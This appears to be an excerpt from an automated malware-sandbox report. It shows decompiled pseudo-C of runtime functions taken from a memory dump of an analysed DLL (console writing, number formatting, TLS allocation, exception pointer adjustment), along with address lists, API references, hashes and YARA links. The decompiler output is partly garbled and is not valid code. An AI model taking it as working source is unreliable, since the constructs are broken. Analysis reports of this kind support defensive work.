							_t319 = _t288 - _t259;
							if(_t319 == 0) {
								L43:
								_t156 = _v8;
								 *((intOrPtr*)(_t156 + 4)) = _t245;
								 *_t156 = 0;
								L44:
								return _t156;
							} else {
								if(_t319 >= 0) {
									E6EDD6CA0(_t177, _t288, _t259, _t259, _t271, __eflags, 0x6edfe124);
									_t302 = _t302 + 4;
									asm("ud2");
									L46:
									_t193 = _t259;
									_t226 = 0x1000;
									_push(0x6edfe114);
									goto L48;
								} else {
									if((( *(_t302 + 0x10 + _t288 * 2) & 0x0000ffff) + 0x00002312 & 0x0000ffff) < 0x312) {
										_t164 = _t302 + 0x10 + _t288 * 2;
										_t288 =  &_a1;
										_v12 = 0;
										if(WriteConsoleW(_v4, _t164, 1, _t177, 0) == 0) {
											GetLastError();
										}
									}
									if(_t288 > _t259) {
										_t193 = _t288;
										_t226 = _t259;
										_push(0x6edfe134);
										L48:
										E6EDD6DB0(_t177, _t193, _t226, _t259, _t271, __eflags);
										_t303 = _t302 + 4;
										asm("ud2");
										asm("int3");
										_t304 = _t303 - 8;
										__eflags =  *_t193 - 1;
										if(__eflags == 0) {
											asm("movsd xmm0, [ecx+0x4]");
											asm("movsd [esp], xmm0");
											E6EDD6EE0(_t177, "called `Result::unwrap()` on an `Err` value", 0x2b, __eflags, _t304, 0x6edfd09c, 0x6edfe104);
											asm("ud2");
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t288);
											_push(_t177);
											_push(_t259);
											_push(_t271);
											_t306 = _t304 + 0xc - 0x80;
											_t228 =  *_v16;
											_t120 =  *_v20;
											__eflags = _t228 & 0x00000010;
											if((_t228 & 0x00000010) != 0) {
												_t196 =  *_t120;
												_t272 = 0;
												_t260 =  &_v40;
												_t289 = 0x30;
												_t178 = _t196;
												asm("o16 nop [eax+eax]");
												do {
													_t178 = _t178 >> 4;
													_t122 = _t196 & 0x0000000f;
													__eflags = _t122 - 0xa;
													_t230 =  <  ? 0x30 : 0x57;
													_t272 = _t272 + 1;
													_t231 = ( <  ? 0x30 : 0x57) + _t122;
													__eflags = _t196 - 0xf;
													_t196 = _t178;
													 *((char*)(_t260 - 1)) = ( <  ? 0x30 : 0x57) + _t122;
													_t260 = _t260 - 1;
												} while (__eflags > 0);
												goto L65;
											} else {
												__eflags = _t228 & 0x00000020;
												if((_t228 & 0x00000020) != 0) {
													_t237 =  *_t120;
													_t276 = 0;
													__eflags = 0;
													_t264 =  &_v40;
													_t289 = 0x30;
													_t182 = _t237;
													asm("o16 nop [cs:eax+eax]");
													do {
														_t182 = _t182 >> 4;
														_t208 = _t237 & 0x0000000f;
														__eflags = _t208 - 0xa;
														_t144 =  <  ? 0x30 : 0x37;
														_t276 = _t276 + 1;
														_t145 = ( <  ? 0x30 : 0x37) + _t208;
														__eflags = _t237 - 0xf;
														_t237 = _t182;
														 *((char*)(_t264 - 1)) = ( <  ? 0x30 : 0x37) + _t208;
														_t264 = _t264 - 1;
													} while (__eflags > 0);
													L65:
													_t124 = 0x80 - _t272;
													__eflags = 0x80 - 0x81;
													if(0x80 >= 0x81) {
														_t197 = _t124;
														E6EDD6D40(_t178, _t197, 0x80, _t260, _t272, 0x80 - 0x81, 0x6edfb60c);
														_t307 = _t306 + 4;
														asm("ud2");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														_t290 = _t307;
														_t308 = _t307 - 0x5c;
														_v200 = _t308;
														_v188 = 0xffffffff;
														_v192 = E6EDC3C10;
														_t273 = _t197;
														_v196 =  *[fs:0x0];
														 *[fs:0x0] =  &_v196;
														__imp__AcquireSRWLockExclusive(0x6ee0adb4, _t272, _t260, _t178, _t289);
														_v204 = 0x6ee0adb4;
														_t261 =  *_t273;
														__eflags = _t261;
														if(_t261 != 0) {
															L83:
															__imp__ReleaseSRWLockExclusive(_v36);
															 *[fs:0x0] = _v28;
															return _t261;
														} else {
															_t82 =  &(_t273[1]); // 0x6edc3100
															_t180 =  *_t82;
															_t129 = TlsAlloc();
															__eflags = _t129 - 0xffffffff;
															if(__eflags == 0) {
																_v20 = 0;
																E6EDD6E20(_t180, "assertion failed: key != c::TLS_OUT_OF_INDEXESC:jbmojtgfautxqskitilrxgprrsoryhnjiexhvlejqbbtabuvcjbeqafloiohojnkwxtneumtjxczayjyebuempczgbfbrdwkmdkgjqjcnunttbmcxecyvhxsfpitjjwfpzkycxdjnqi", 0x2e, _t261, _t273, __eflags, 0x6edfde0c);
																_t308 = _t308 + 4;
																asm("ud2");
																goto L85;
															} else {
																_t261 = _t129;
																__eflags = _t180;
																if(_t180 == 0) {
																	L82:
																	__eflags = _t261;
																	 *_t273 = _t261;
																	if(__eflags == 0) {
																		L85:
																		_v108 = 0x6edfd74c;
																		_v104 = 1;
																		_v100 = 0;
																		_v92 = 0x6edfcd60;
																		_v84 = 0x6edfd5a4;
																		_v80 = 2;
																		_v40 = 0;
																		_v44 = 0;
																		_v88 = 0;
																		_v76 = 0;
																		_v20 = 0;
																		_v60 =  &_v108;
																		_v56 = E6EDB22E0;
																		_v68 =  &_v60;
																		_v64 = 1;
																		_v52 = E6EDBD2A0( &_v44, __eflags);
																		_v48 =  &_v84;
																		E6EDBD460( &_v52);
																		asm("int 0x29");
																		asm("ud2");
																		goto L86;
																	} else {
																		goto L83;
																	}
																} else {
																	_t139 =  *0x6ee0adc8; // 0x2ed0000
																	__eflags = _t139;
																	if(_t139 != 0) {
																		L79:
																		_t140 = HeapAlloc(_t139, 0, 0xc);
																		__eflags = _t140;
																		if(__eflags == 0) {
																			goto L86;
																		} else {
																			 *_t140 = _t180;
																			 *(_t140 + 4) = _t261;
																			 *(_t140 + 8) = 0;
																			_t205 = _t140;
																			_t141 =  *0x6ee0adcc; // 0x0
																			do {
																				 *((intOrPtr*)(_t205 + 8)) = _t141;
																				asm("lock cmpxchg [0x6ee0adcc], ecx");
																			} while (__eflags != 0);
																			goto L82;
																		}
																	} else {
																		_t139 = GetProcessHeap();
																		__eflags = _t139;
																		if(__eflags == 0) {
																			L86:
																			_t135 = E6EDD6C30(_t180, 0xc, 4, _t261, _t273, __eflags);
																			asm("ud2");
																			_push(_t290);
																			__eflags =  &_a8;
																			return E6EDBC870(_t135,  &_v36);
																		} else {
																			 *0x6ee0adc8 = _t139;
																			goto L79;
																		}
																	}
																}
															}
														}
													} else {
														_t206 = _v16;
														_t236 = 0x6edfcc17;
														_push(_t272);
														_push(_t260);
														_push(2);
														goto L71;
													}
												} else {
													_t277 =  *_t120;
													_t146 = 0x27;
													__eflags = _t277 - 0x2710;
													if(_t277 < 0x2710) {
														_t238 = _t277;
														__eflags = _t238 - 0x63;
														if(_t238 > 0x63) {
															goto L57;
														} else {
															goto L58;
														}
														goto L87;
													} else {
														_t183 = 0x27;
														do {
															_t238 = _t277 * 0xd1b71759 >> 0x20 >> 0xd;
															_t215 = _t277 - _t238 * 0x2710;
															_t296 = ((_t215 & 0x0000ffff) >> 2) * 0x147b >> 0x11;
															_t50 = _t183 - 4; // 0x23
															_t146 = _t50;
															__eflags = _t277 - 0x5f5e0ff;
															_t277 = _t238;
															 *((short*)(_t306 + _t183 - 4)) =  *(_t296 +  &_a1860154908) & 0x0000ffff;
															 *((short*)(_t306 + _t183 - 2)) =  *((_t215 - _t296 * 0x00000064 & 0x0000ffff) + (_t215 - _t296 * 0x00000064 & 0x0000ffff) + 0x6edfb61c) & 0x0000ffff;
															_t183 = _t146;
														} while (__eflags > 0);
														__eflags = _t238 - 0x63;
														if(_t238 > 0x63) {
															L57:
															_t212 = ((_t238 & 0x0000ffff) >> 2) * 0x147b >> 0x11;
															 *((short*)(_t306 + _t146 - 2)) =  *((_t238 - _t212 * 0x00000064 & 0x0000ffff) + (_t238 - _t212 * 0x00000064 & 0x0000ffff) + 0x6edfb61c) & 0x0000ffff;
															_t146 = _t146 + 0xfffffffe;
															__eflags = _t146;
															_t238 = _t212;
														}
													}
													L58:
													__eflags = _t238 - 0xa;
													if(_t238 >= 0xa) {
														 *((short*)(_t306 + _t146 - 2)) =  *(_t238 + _t238 + 0x6edfb61c) & 0x0000ffff;
														_t147 = _t146 + 0xfffffffe;
														__eflags = _t147;
													} else {
														 *((char*)(_t306 + _t146 - 1)) = _t238 + 0x30;
														_t147 = _t146 - 1;
													}
													_t206 = _v16;
													_t236 = 0x6edfcd60;
													__eflags = 0x27;
													_push(0x27 - _t147);
													_push(_t306 + _t147);
													_push(0);
													L71:
													return E6EDB1AA0(_t206, _t236);
												}
											}
										} else {
											return  *((intOrPtr*)(_t193 + 4));
										}
									} else {
										if(_t288 == 0) {
											_t245 = 0;
											__eflags = 0;
										} else {
											_t247 = 0;
											do {
												_t161 =  *_t271 & 0x0000ffff;
												_t221 = 1;
												if(_t161 >= 0x80) {
													_t221 = 2;
													_t247 = _t245;
													if((_t161 & 0x0000ffff) > 0x7ff) {
														_t221 = (0 | (_t161 + 0x00002312 & 0x0000ffff) - 0x00000312 >= 0x00000000) + (0 | (_t161 + 0x00002312 & 0x0000ffff) - 0x00000312 >= 0x00000000) + 1;
													}
												}
												_t245 = _t247 + _t221;
												_t271 = _t271 + 2;
											} while ( &_v2 != 0);
										}
										goto L43;
									}
								}
							}
						}
					}
				}
				L87:
			}

0x6edc2621
0x6edc2622
0x6edc2623
0x6edc2629
0x6edc262e
0x6edc2635
0x6edc263c
0x6edc2640
0x6edc2644
0x6edc2650
0x6edc2655
0x6edc2658
0x6edc265e
0x6edc2663
0x6edc2665
0x6edc266b
0x6edc2680
0x6edc2680
0x6edc2682
0x6edc2790
0x6edc2790
0x6edc2796
0x00000000
0x00000000
0x00000000
0x00000000
0x6edc2688
0x6edc2688
0x6edc268b
0x6edc268b
0x6edc268e
0x6edc2691
0x6edc2693
0x6edc26a9
0x6edc26ac
0x6edc26ae
0x6edc26ec
0x6edc26ee
0x6edc26f0
0x6edc26f3
0x6edc26f6
0x00000000
0x00000000
0x00000000
0x00000000
0x6edc26b0
0x6edc26b4
0x6edc26b7
0x6edc26ba
0x6edc26bd
0x6edc26c0
0x6edc26f8
0x6edc26f8
0x00000000
0x6edc26c2
0x6edc26c2
0x6edc26c2
0x6edc26c5
0x6edc26c7
0x6edc26fd
0x6edc2704
0x6edc2706
0x6edc2709
0x00000000
0x00000000
0x00000000
0x00000000
0x6edc26c9
0x6edc26cd
0x6edc26d4
0x6edc26d6
0x6edc26d9
0x6edc270b
0x6edc270b
0x6edc270b
0x6edc270e
0x6edc270e
0x6edc2711
0x6edc2713
0x00000000
0x6edc26db
0x6edc26db
0x6edc26db
0x6edc26de
0x6edc26e0
0x6edc2719
0x6edc2719
0x6edc271b
0x6edc26e2
0x6edc26e6
0x6edc26e7
0x6edc26e7
0x6edc2723
0x6edc272c
0x6edc272e
0x6edc2731
0x6edc2736
0x6edc2738
0x00000000
0x6edc273a
0x6edc273a
0x6edc273a
0x6edc2740
0x00000000
0x6edc2746
0x6edc2746
0x6edc2763
0x6edc2765
0x6edc2767
0x6edc276a
0x6edc276c
0x00000000
0x00000000
0x00000000
0x00000000
0x6edc276c
0x6edc2740
0x6edc2738
0x6edc26d9
0x6edc26c7
0x6edc26c0
0x6edc2695
0x6edc2695
0x6edc2698
0x6edc269a
0x6edc269c
0x6edc269e
0x00000000
0x6edc26a4
0x00000000
0x6edc26a4
0x6edc269e
0x6edc2693
0x6edc2670
0x6edc2670
0x6edc2670
0x6edc2674
0x6edc2770
0x6edc2770
0x6edc2775
0x6edc2776
0x6edc2779
0x6edc277b
0x6edc277e
0x00000000
0x6edc2784
0x00000000
0x6edc2784
0x6edc267a
0x6edc2789
0x6edc2789
0x6edc279c
0x6edc279c
0x6edc27a0
0x6edc27b9
0x6edc2875
0x6edc287b
0x6edc287f
0x6edc2882
0x6edc2889
0x00000000
0x6edc27bf
0x6edc27bf
0x6edc27c3
0x6edc27ca
0x6edc27cc
0x6edc2893
0x6edc2893
0x6edc2897
0x6edc289a
0x6edc28a0
0x6edc28aa
0x6edc27d2
0x6edc27d2
0x6edc28b4
0x6edc28b9
0x6edc28bc
0x6edc28be
0x6edc28be
0x6edc28c0
0x6edc28c5
0x00000000
0x6edc27d8
0x6edc27ea
0x6edc27ec
0x6edc27f0
0x6edc27f1
0x6edc280b
0x6edc280d
0x6edc280d
0x6edc280b
0x6edc2815
0x6edc28cc
0x6edc28ce
0x6edc28d0
0x6edc28d5
0x6edc28d5
0x6edc28da
0x6edc28dd
0x6edc28df
0x6edc28e0
0x6edc28e3
0x6edc28e6
0x6edc28f2
0x6edc2903
0x6edc2913
0x6edc291b
0x6edc291d
0x6edc291e
0x6edc291f
0x6edc2920
0x6edc2921
0x6edc2922
0x6edc2923
0x6edc2924
0x6edc2938
0x6edc293a
0x6edc293c
0x6edc293f
0x6edc2a05
0x6edc2a07
0x6edc2a09
0x6edc2a10
0x6edc2a15
0x6edc2a17
0x6edc2a20
0x6edc2a22
0x6edc2a2a
0x6edc2a2c
0x6edc2a2e
0x6edc2a31
0x6edc2a32
0x6edc2a34
0x6edc2a37
0x6edc2a39
0x6edc2a3c
0x6edc2a3c
0x00000000
0x6edc2945
0x6edc2945
0x6edc2948
0x6edc2a43
0x6edc2a45
0x6edc2a45
0x6edc2a47
0x6edc2a4e
0x6edc2a53
0x6edc2a55
0x6edc2a60
0x6edc2a62
0x6edc2a6a
0x6edc2a6d
0x6edc2a70
0x6edc2a73
0x6edc2a74
0x6edc2a76
0x6edc2a79
0x6edc2a7b
0x6edc2a7e
0x6edc2a7e
0x6edc2a83
0x6edc2a88
0x6edc2a8a
0x6edc2a8f
0x6edc2af0
0x6edc2afc
0x6edc2b01
0x6edc2b04
0x6edc2b06
0x6edc2b07
0x6edc2b08
0x6edc2b09
0x6edc2b0a
0x6edc2b0b
0x6edc2b0c
0x6edc2b0d
0x6edc2b0e
0x6edc2b0f
0x6edc2b11
0x6edc2b16
0x6edc2b19
0x6edc2b1c
0x6edc2b23
0x6edc2b2a
0x6edc2b36
0x6edc2b39
0x6edc2b44
0x6edc2b4a
0x6edc2b51
0x6edc2b53
0x6edc2b55
0x6edc2bc5
0x6edc2bc8
0x6edc2bd1
0x6edc2be0
0x6edc2b57
0x6edc2b57
0x6edc2b57
0x6edc2b5a
0x6edc2b60
0x6edc2b63
0x6edc2be1
0x6edc2bf7
0x6edc2bfc
0x6edc2bff
0x00000000
0x6edc2b65
0x6edc2b65
0x6edc2b67
0x6edc2b69
0x6edc2bbd
0x6edc2bbf
0x6edc2bc1
0x6edc2bc3
0x6edc2c01
0x6edc2c0a
0x6edc2c11
0x6edc2c18
0x6edc2c1f
0x6edc2c26
0x6edc2c2d
0x6edc2c34
0x6edc2c38
0x6edc2c3f
0x6edc2c46
0x6edc2c4d
0x6edc2c54
0x6edc2c5a
0x6edc2c61
0x6edc2c64
0x6edc2c73
0x6edc2c76
0x6edc2c79
0x6edc2c83
0x6edc2c85
0x00000000
0x00000000
0x00000000
0x00000000
0x6edc2b6b
0x6edc2b6b
0x6edc2b70
0x6edc2b72
0x6edc2b86
0x6edc2b8b
0x6edc2b90
0x6edc2b92
0x00000000
0x6edc2b98
0x6edc2b98
0x6edc2b9a
0x6edc2b9d
0x6edc2ba4
0x6edc2ba6
0x6edc2bb0
0x6edc2bb0
0x6edc2bb3
0x6edc2bb3
0x00000000
0x6edc2bb0
0x6edc2b74
0x6edc2b74
0x6edc2b79
0x6edc2b7b
0x6edc2c87
0x6edc2c91
0x6edc2c96
0x6edc2ca0
0x6edc2ca4
0x6edc2cb3
0x6edc2b81
0x6edc2b81
0x00000000
0x6edc2b81
0x6edc2b7b
0x6edc2b72
0x6edc2b69
0x6edc2b63
0x6edc2a91
0x6edc2a91
0x6edc2a98
0x6edc2a9d
0x6edc2a9e
0x6edc2a9f
0x00000000
0x6edc2a9f
0x6edc294e
0x6edc294e
0x6edc2950
0x6edc2955
0x6edc295b
0x6edc2aa3
0x6edc2aa5
0x6edc2aa8
0x00000000
0x6edc2aae
0x00000000
0x6edc2aae
0x00000000
0x6edc2961
0x6edc2961
0x6edc2970
0x6edc2976
0x6edc297f
0x6edc298d
0x6edc299d
0x6edc299d
0x6edc29a0
0x6edc29a6
0x6edc29b3
0x6edc29b8
0x6edc29bd
0x6edc29bd
0x6edc29c1
0x6edc29c4
0x6edc29c6
0x6edc29d2
0x6edc29e5
0x6edc29ea
0x6edc29ea
0x6edc29ed
0x6edc29ed
0x6edc29c4
0x6edc29ef
0x6edc29ef
0x6edc29f2
0x6edc2abb
0x6edc2ac0
0x6edc2ac0
0x6edc29f8
0x6edc29fb
0x6edc29ff
0x6edc29ff
0x6edc2ac3
0x6edc2acf
0x6edc2ad7
0x6edc2ad9
0x6edc2ada
0x6edc2adb
0x6edc2add
0x6edc2aef
0x6edc2aef
0x6edc2948
0x6edc28e8
0x6edc28f1
0x6edc28f1
0x6edc281b
0x6edc281d
0x6edc2891
0x6edc2891
0x6edc281f
0x6edc2821
0x6edc283a
0x6edc283a
0x6edc283d
0x6edc2847
0x6edc284e
0x6edc2859
0x6edc285b
0x6edc286f
0x6edc286f
0x6edc285b
0x6edc2830
0x6edc2832
0x6edc2835
0x6edc283a
0x00000000
0x6edc281d
0x6edc2815
0x6edc27d2
0x6edc27cc
0x6edc27b9
0x6edc2674
0x00000000

APIs

WriteConsoleW.KERNEL32(?,?,00000000,?,00000000,?,?,?), ref: 6EDC27B1
WriteConsoleW.KERNEL32(?,?,00000001,?,00000000,?,?,?), ref: 6EDC2803
GetLastError.KERNEL32(?,?,?), ref: 6EDC280D
GetLastError.KERNEL32(?,?,?), ref: 6EDC2875

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleErrorLastWrite
String ID:
API String ID: 4006445483-0
Opcode ID: 698989ab16d2057cf11053c0fad412abcfddaf39e6a4d2f36d21a4586c91bba6
Instruction ID: 5cc0e5a1c33ced00cb5fe327f4a74882dd8bb96fe9cdc936ca7602286d676fbb
Opcode Fuzzy Hash: 698989ab16d2057cf11053c0fad412abcfddaf39e6a4d2f36d21a4586c91bba6
Instruction Fuzzy Hash: 70618C31A48B15CBE7108FD5CC8036A779AEFC4B88F048939E4D48B3C4E675D94287A3

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCCDDF, Relevance: 6.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E6EDCCDDF(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t52;
				signed int _t53;
				intOrPtr _t54;
				signed int _t58;
				signed int _t61;
				intOrPtr _t71;
				signed int _t75;
				signed int _t79;
				signed int _t81;
				signed int _t84;
				signed int _t85;
				signed int _t97;
				signed int* _t98;
				signed char* _t101;
				signed int _t107;
				void* _t111;

				_push(0x10);
				_push(0x6ee07f40);
				E6EDCAC90(__ebx, __edi, __esi);
				_t75 = 0;
				_t52 =  *(_t111 + 0x10);
				_t81 = _t52[1];
				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
					L30:
					_t53 = 0;
					__eflags = 0;
					goto L31;
				} else {
					_t97 = _t52[2];
					if(_t97 != 0 ||  *_t52 < 0) {
						_t84 =  *_t52;
						_t107 =  *(_t111 + 0xc);
						if(_t84 >= 0) {
							_t107 = _t107 + 0xc + _t97;
						}
						 *(_t111 - 4) = _t75;
						_t101 =  *(_t111 + 0x14);
						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
							L10:
							_t54 =  *((intOrPtr*)(_t111 + 8));
							__eflags = _t84 & 0x00000008;
							if((_t84 & 0x00000008) == 0) {
								__eflags =  *_t101 & 0x00000001;
								if(( *_t101 & 0x00000001) == 0) {
									_t84 =  *(_t54 + 0x18);
									__eflags = _t101[0x18] - _t75;
									if(_t101[0x18] != _t75) {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												__eflags =  *_t101 & 0x00000004;
												_t79 = 0;
												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
												__eflags = _t75;
												 *(_t111 - 0x20) = _t75;
												goto L29;
											}
										}
									} else {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												E6EDCAE10(_t107, E6EDCCB9D(_t84,  &(_t101[8])), _t101[0x14]);
												goto L29;
											}
										}
									}
								} else {
									__eflags =  *(_t54 + 0x18);
									if( *(_t54 + 0x18) == 0) {
										goto L32;
									} else {
										__eflags = _t107;
										if(_t107 == 0) {
											goto L32;
										} else {
											E6EDCAE10(_t107,  *(_t54 + 0x18), _t101[0x14]);
											__eflags = _t101[0x14] - 4;
											if(_t101[0x14] == 4) {
												__eflags =  *_t107;
												if( *_t107 != 0) {
													_push( &(_t101[8]));
													_push( *_t107);
													goto L21;
												}
											}
											goto L29;
										}
									}
								}
							} else {
								_t84 =  *(_t54 + 0x18);
								goto L12;
							}
						} else {
							_t71 =  *0x6ee0b184; // 0x0
							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
							if(_t71 == 0) {
								goto L10;
							} else {
								 *0x6edd8154();
								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
								L12:
								if(_t84 == 0 || _t107 == 0) {
									L32:
									E6EDCF563(_t75, _t84, _t97, _t101, _t107);
									asm("int3");
									_push(8);
									_push(0x6ee07f60);
									E6EDCAC90(_t75, _t101, _t107);
									_t98 =  *(_t111 + 0x10);
									_t85 =  *(_t111 + 0xc);
									__eflags =  *_t98;
									if(__eflags >= 0) {
										_t103 = _t85 + 0xc + _t98[2];
										__eflags = _t85 + 0xc + _t98[2];
									} else {
										_t103 = _t85;
									}
									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
									_t108 =  *(_t111 + 0x14);
									_push( *(_t111 + 0x14));
									_push(_t98);
									_push(_t85);
									_t77 =  *((intOrPtr*)(_t111 + 8));
									_push( *((intOrPtr*)(_t111 + 8)));
									_t58 = E6EDCCDDF(_t77, _t103, _t108, __eflags) - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										_t61 = E6EDCDADF(_t103, _t108[0x18], E6EDCCB9D( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
									} else {
										_t61 = _t58 - 1;
										__eflags = _t61;
										if(_t61 == 0) {
											_t61 = E6EDCDAEF(_t103, _t108[0x18], E6EDCCB9D( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), 1);
										}
									}
									 *(_t111 - 4) = 0xfffffffe;
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t61;
								} else {
									 *_t107 = _t84;
									_push( &(_t101[8]));
									_push(_t84);
									L21:
									 *_t107 = E6EDCCB9D();
									L29:
									 *(_t111 - 4) = 0xfffffffe;
									_t53 = _t75;
									L31:
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t53;
								}
							}
						}
					} else {
						goto L30;
					}
				}
			}

0x6edccddf
0x6edccde1
0x6edccde6
0x6edccdeb
0x6edccded
0x6edccdf0
0x6edccdf5
0x6edccf05
0x6edccf05
0x6edccf05
0x00000000
0x6edcce04
0x6edcce04
0x6edcce09
0x6edcce13
0x6edcce15
0x6edcce1a
0x6edcce1f
0x6edcce1f
0x6edcce21
0x6edcce24
0x6edcce29
0x6edcce4b
0x6edcce4b
0x6edcce4e
0x6edcce51
0x6edcce6f
0x6edcce72
0x6edcceb1
0x6edcceb4
0x6edcceb7
0x6edccedc
0x6edccede
0x00000000
0x6edccee0
0x6edccee0
0x6edccee2
0x00000000
0x6edccee4
0x6edccee4
0x6edccee9
0x6edcceed
0x6edcceed
0x6edcceee
0x00000000
0x6edcceee
0x6edccee2
0x6edcceb9
0x6edcceb9
0x6edccebb
0x00000000
0x6edccebd
0x6edccebd
0x6edccebf
0x00000000
0x6edccec1
0x6edcced2
0x00000000
0x6edcced7
0x6edccebf
0x6edccebb
0x6edcce74
0x6edcce74
0x6edcce78
0x00000000
0x6edcce7e
0x6edcce7e
0x6edcce80
0x00000000
0x6edcce86
0x6edcce8d
0x6edcce95
0x6edcce99
0x6edcce9b
0x6edcce9e
0x6edccea3
0x6edccea4
0x00000000
0x6edccea4
0x6edcce9e
0x00000000
0x6edcce99
0x6edcce80
0x6edcce78
0x6edcce53
0x6edcce53
0x00000000
0x6edcce53
0x6edcce30
0x6edcce30
0x6edcce35
0x6edcce3a
0x00000000
0x6edcce3c
0x6edcce3e
0x6edcce47
0x6edcce56
0x6edcce58
0x6edccf17
0x6edccf17
0x6edccf1c
0x6edccf1d
0x6edccf1f
0x6edccf24
0x6edccf29
0x6edccf2c
0x6edccf2f
0x6edccf32
0x6edccf3b
0x6edccf3b
0x6edccf34
0x6edccf34
0x6edccf34
0x6edccf3e
0x6edccf42
0x6edccf45
0x6edccf46
0x6edccf47
0x6edccf48
0x6edccf4b
0x6edccf54
0x6edccf54
0x6edccf57
0x6edccf8d
0x6edccf59
0x6edccf59
0x6edccf59
0x6edccf5c
0x6edccf73
0x6edccf73
0x6edccf5c
0x6edccf92
0x6edccf9c
0x6edccfa8
0x6edcce66
0x6edcce66
0x6edcce6b
0x6edcce6c
0x6edccea6
0x6edccead
0x6edccef1
0x6edccef1
0x6edccef8
0x6edccf07
0x6edccf0a
0x6edccf16
0x6edccf16
0x6edcce58
0x6edcce3a
0x00000000
0x00000000
0x00000000
0x6edcce09

APIs

___AdjustPointer.LIBCMT ref: 6EDCCEA6
___AdjustPointer.LIBCMT ref: 6EDCCEC9
___AdjustPointer.LIBCMT ref: 6EDCCF65

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf5a3227f26c8947aadbdb471f9bde3d1340210c9dd7d1e148c8ac148916553b
Instruction ID: fb2b8a45665a04814f308d71f54e52eadbcd67df44c5a4a6f8037d14c4c70a2f
Opcode Fuzzy Hash: bf5a3227f26c8947aadbdb471f9bde3d1340210c9dd7d1e148c8ac148916553b
Instruction Fuzzy Hash: 3051F271606606EFEB158FD5C850BAA77BCEF09F94F10042DEA159F290E731E851CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDD06C7, Relevance: 6.1, APIs: 4, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EDD06C7(intOrPtr* _a4, intOrPtr _a8, void* _a12, intOrPtr _a16) {
				intOrPtr _t17;
				intOrPtr _t18;
				intOrPtr _t20;
				intOrPtr _t30;
				char _t32;
				intOrPtr _t40;
				intOrPtr* _t42;
				intOrPtr _t43;

				_t42 = _a4;
				if(_t42 != 0) {
					_t32 = 0;
					__eflags =  *_t42;
					if( *_t42 != 0) {
						_t17 = E6EDD19B3(_a16, 0, _t42, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t17;
						if(_t17 != 0) {
							_t40 = _a8;
							__eflags = _t17 -  *((intOrPtr*)(_t40 + 0xc));
							if(__eflags <= 0) {
								L11:
								_t18 = E6EDD0D08(_a16, _t42,  *((intOrPtr*)(_t40 + 8)),  *((intOrPtr*)(_t40 + 0xc)));
								__eflags = _t18;
								if(_t18 != 0) {
									 *((intOrPtr*)(_t40 + 0x10)) = _t18 - 1;
									_t20 = 0;
									__eflags = 0;
								} else {
									E6EDCF8B5(GetLastError());
									_t20 =  *((intOrPtr*)(E6EDCF90F()));
								}
								L14:
								return _t20;
							}
							_t20 = E6EDD0D85(_t40, __eflags, _t17);
							__eflags = _t20;
							if(_t20 != 0) {
								goto L14;
							}
							goto L11;
						}
						E6EDCF8B5(GetLastError());
						return  *((intOrPtr*)(E6EDCF90F()));
					}
					_t43 = _a8;
					__eflags =  *((intOrPtr*)(_t43 + 0xc));
					if(__eflags != 0) {
						L6:
						 *((char*)( *((intOrPtr*)(_t43 + 8)))) = _t32;
						L2:
						 *((intOrPtr*)(_t43 + 0x10)) = _t32;
						return 0;
					}
					_t30 = E6EDD0D85(_t43, __eflags, 1);
					__eflags = _t30;
					if(_t30 != 0) {
						return _t30;
					}
					goto L6;
				}
				_t43 = _a8;
				E6EDD0D6B(_t43);
				_t32 = 0;
				 *((intOrPtr*)(_t43 + 8)) = 0;
				 *((intOrPtr*)(_t43 + 0xc)) = 0;
				goto L2;
			}

0x6edd06ce
0x6edd06d3
0x6edd06f1
0x6edd06f3
0x6edd06f6
0x6edd071f
0x6edd0727
0x6edd0729
0x6edd0742
0x6edd0745
0x6edd0748
0x6edd0756
0x6edd0763
0x6edd0768
0x6edd076a
0x6edd0783
0x6edd0786
0x6edd0786
0x6edd076c
0x6edd0773
0x6edd077e
0x6edd077e
0x6edd0788
0x00000000
0x6edd0788
0x6edd074d
